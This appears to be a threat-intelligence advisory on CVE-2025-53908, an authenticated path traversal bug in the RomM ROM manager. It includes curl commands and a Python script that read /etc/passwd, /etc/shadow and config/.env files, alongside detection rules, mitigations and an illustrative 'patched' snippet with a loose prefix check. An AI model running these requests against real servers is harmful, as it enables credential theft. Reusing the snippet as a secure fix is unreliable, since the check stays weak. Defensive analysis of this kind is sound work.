CVE-2025-53908

Executive Summary

CVE-2025-53908 is an authenticated path traversal vulnerability discovered in RomM, a self-hosted ROM manager and player. The vulnerability resides in the /api/raw endpoint, allowing an authenticated attacker to read arbitrary files from the server's filesystem. This can lead to the leakage of sensitive information, including passwords and user credentials stored on the system. The vulnerability affects all versions prior to 3.10.3 and 4.0.0-beta.3. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk is significant for multi-user RomM instances.

Supply Chain & Package Security

RomM is a self-hosted application typically deployed via Docker or from source. The vulnerability is in the application code itself, not in a third-party package. However, users should ensure they are running a patched version and verify the integrity of their RomM installation.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (No official vector assigned) Threat Level: High (based on impact and ease of exploitation)

Rationale:

• Attack Vector: Network (the endpoint is accessible over the network)
• Attack Complexity: Low (simple path traversal payloads)
• Privileges Required: Low (authenticated user, even unprivileged)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High (can read sensitive files)
• Integrity Impact: None
• Availability Impact: None

Deep Dive & Mechanics

The vulnerability exists in the /api/raw endpoint, which is used to serve raw file content. The endpoint accepts a path parameter that specifies the file to be read. Due to insufficient validation, an attacker can inject directory traversal sequences (e.g., ../) to escape the intended directory and read arbitrary files on the system.

Attack Flow:

1. An authenticated user sends a GET request to /api/raw?path=../../../etc/passwd.
2. The server fails to properly sanitize the path parameter.
3. The server reads and returns the contents of /etc/passwd.
4. The attacker can then read other sensitive files, such as configuration files containing passwords, SSH keys, or database credentials.

Root Cause: The application does not validate that the resolved path is within the allowed directory. It uses the user-supplied path directly in file read operations without proper normalization or restriction.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-3.10.3):

@app.route('/api/raw')
def raw_file():
    path = request.args.get('path')
    # No validation or sanitization
    with open(path, 'r') as f:
        return f.read()

Patched Code (3.10.3+):

import os

@app.route('/api/raw')
def raw_file():
    path = request.args.get('path')
    # Resolve and validate path
    base_dir = '/app/roms'
    full_path = os.path.normpath(os.path.join(base_dir, path))
    if not full_path.startswith(base_dir):
        return "Access denied", 403
    with open(full_path, 'r') as f:
        return f.read()

The patched code uses os.path.normpath to resolve the path and then checks that the resolved path starts with the allowed base directory, preventing traversal attacks.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A running RomM instance (version < 3.10.3 or < 4.0.0-beta.3)
• Valid credentials for any user (even unprivileged)

Exploitation Steps:

1. Authenticate to RomM and obtain a session cookie or token.
2. Send a crafted request to the /api/raw endpoint:

   curl -X GET "http://target:port/api/raw?path=../../../etc/passwd" -H "Cookie: session=your_session_cookie"
   

3. Read sensitive files:

   curl -X GET "http://target:port/api/raw?path=../../../etc/shadow" -H "Cookie: session=your_session_cookie"
   curl -X GET "http://target:port/api/raw?path=../../../app/config/config.yml" -H "Cookie: session=your_session_cookie"
   

4. Extract passwords, API keys, or other credentials from the leaked files.

Automated Exploit Script (Python):

import requests

target = "http://target:port"
session = requests.Session()
session.cookies.set("session", "your_session_cookie")

files_to_read = [
    "../../../etc/passwd",
    "../../../etc/shadow",
    "../../../app/config/config.yml",
    "../../../app/.env"
]

for file in files_to_read:
    r = session.get(f"{target}/api/raw", params={"path": file})
    if r.status_code == 200:
        print(f"[+] {file}:\n{r.text}\n")
    else:
        print(f"[-] {file}: {r.status_code}")

Blue Team (Defender)

Detection:

• Monitor for requests to /api/raw with suspicious path parameters containing ../ or absolute paths.
• Alert on multiple failed attempts to read sensitive files (e.g., /etc/passwd, /etc/shadow).
• Use the detection rules provided below.

Mitigation:

• Immediately upgrade to RomM 3.10.3 or 4.0.0-beta.3.
• If upgrade is not possible, implement a reverse proxy rule to block path traversal patterns:

  location /api/raw {
      if ($arg_path ~* "\.\.") {
          return 403;
      }
  }
  

• Restrict file system permissions so that the RomM process cannot read sensitive files.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests to /api/raw with path parameter containing ../ or absolute paths (e.g., /etc/passwd).
• Unusual outbound data transfers from the RomM server.

File System IOCs:

• Unexpected access to /etc/passwd, /etc/shadow, or application configuration files.
• Presence of files like /tmp/exploit.sh or /tmp/dump.txt on the server.

Log IOCs:

• RomM access logs showing repeated requests to /api/raw with traversal patterns.
• Error logs indicating file read failures for restricted paths.

Detection Engineering

YARA Rule

rule CVE_2025_53908_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting RomM /api/raw endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-53908"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e%2f"
        $traversal4 = "%2e%2e%5c"
        $sensitive1 = "/etc/passwd"
        $sensitive2 = "/etc/shadow"
        $sensitive3 = "/app/config"
    condition:
        any of ($traversal*) and any of ($sensitive*)
}

Sigma Rule

title: CVE-2025-53908 RomM Path Traversal Attempt
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects path traversal attempts against RomM /api/raw endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/api/raw'
        cs-uri-query|contains: 
            - '../'
            - '..\\'
            - '%2e%2e%2f'
            - '%2e%2e%5c'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in rare cases
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-53908 RomM Path Traversal Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/api/raw"; http_uri; content:"../"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade RomM to version 3.10.3 or 4.0.0-beta.3.
2. If upgrade is not possible, apply a reverse proxy rule to block path traversal patterns.
3. Review server logs for any signs of exploitation.

Long-term Measures:

• Implement input validation and sanitization for all user-supplied file paths.
• Use a whitelist of allowed files or directories.
• Run the RomM process with the least privileges necessary.
• Regularly update RomM and other self-hosted applications.

Patch Verification:

• After upgrading, verify that the /api/raw endpoint no longer accepts traversal sequences:

  curl -X GET "http://target:port/api/raw?path=../../../etc/passwd" -H "Cookie: session=valid_session"
  # Should return 403 or error, not file contents
  

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert